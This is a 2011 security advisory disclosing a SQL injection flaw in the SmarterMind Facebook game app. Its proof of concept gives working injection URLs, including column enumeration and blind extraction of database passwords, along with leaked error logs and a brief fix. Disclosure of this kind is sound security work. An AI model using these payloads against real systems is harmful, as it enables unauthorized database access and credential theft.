Document Title: =============== Facebook SmarterMind - SQL Injection Vulnerability Release Date: ============= 2011-08-22 Vulnerability Laboratory ID (VL-ID): ==================================== 44 Product & Service Introduction: =============================== This application is currently included and viewable by all facebook users. Your friends and anyone else on Facebook in a gripping game of Mastermind! (Copy from the Vendors Homepage: http://facebook.com/) Facebook is a social networking service and website launched in February 2004, operated and privately owned by Facebook, Inc. As of July 2011, Facebook has more than 750 million active users. Users may create a personal profile, add other users as friends, and exchange messages, including automatic notifications when they update their profile. Facebook users must register before using the site. Additionally, users may join common-interest user groups, organized by workplace, school or college, or other characteristics. (Copy of the Vendor Website: http://en.wikipedia.org/wiki/Facebook) Abstract Advisory Information: ============================== Vulnerability-Lab team discovered a critical (remote) SQL Injection Vulnerability on Facebooks Smarter Mind web application. Vulnerability Disclosure Timeline: ================================== 2011-08-23: Public or Non-Public Disclosure Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A SQL Injection vulnerability is detected on smartermind facebook application (apps.facebook). The vulnerability allows an attacker (remote) to inject/execute own sql statements on the affected fb application dbms. Vulnerable Module(s): [+] SmarterMind - Facebook 3rd Party Application Vulnerable Parameter: [+] ?gameid= Affected Domains: [+] http://apps.facebook.com/smartermind/ --- SQL Error Logs --- Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ) UNION SELECT * FROM game WHERE (player2 = ) at line 1 --- Error: user fbappsuser @ localhost for table users --- Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near limit 1 at line 1 --- Error: Unknown column 100 in order clause Error: Unknown column in order clause Error: Unknown column 60 in order clause Error: Unknown column 40 in order clause Error: Unknown column 30 in order clause Colums: _37 --- Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near limit 1 at line 1 --- Pictures: ../1.png ../2.png ../3.png ../4.png ../5.png Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers. For demonstration or reproduce ... Server: apps.facebook.com Path: /smartermind/ File: play Parameter: ?gameid= Colums: _37 DBMS: fbappsuser'@'localhost Example Links: http://apps.facebook.com/smartermind/play?gameid=1%20order%20by%20100-- http://apps.facebook.com/smartermind/play?gameid=1%20order%20by%2037-- http://apps.facebook.com/smartermind/play?gameid=-1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37-- http://apps.facebook.com/smartermind/play?gameid=319511+and+ascii%28substring%28%28select+password+from+mysql.users+where+uid=1%29,1,1%29%29=101 http://apps.facebook.com/smartermind/play?gameid=319511+and+ascii%28substring%28%28select+password+from+mysql.users+where+uid=1%29,1,1%29%29=-1%27 --null null-- Solution - Fix & Patch: ======================= Use the prepared statement class to fix the sql injection vulnerability & filter error requests. set error(0) Security Risk: ============== The security risk of the sql injection vulnerability is estimated as high. Credits & Authors: ================== Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission. Copyright © 2012 | Vulnerability Laboratory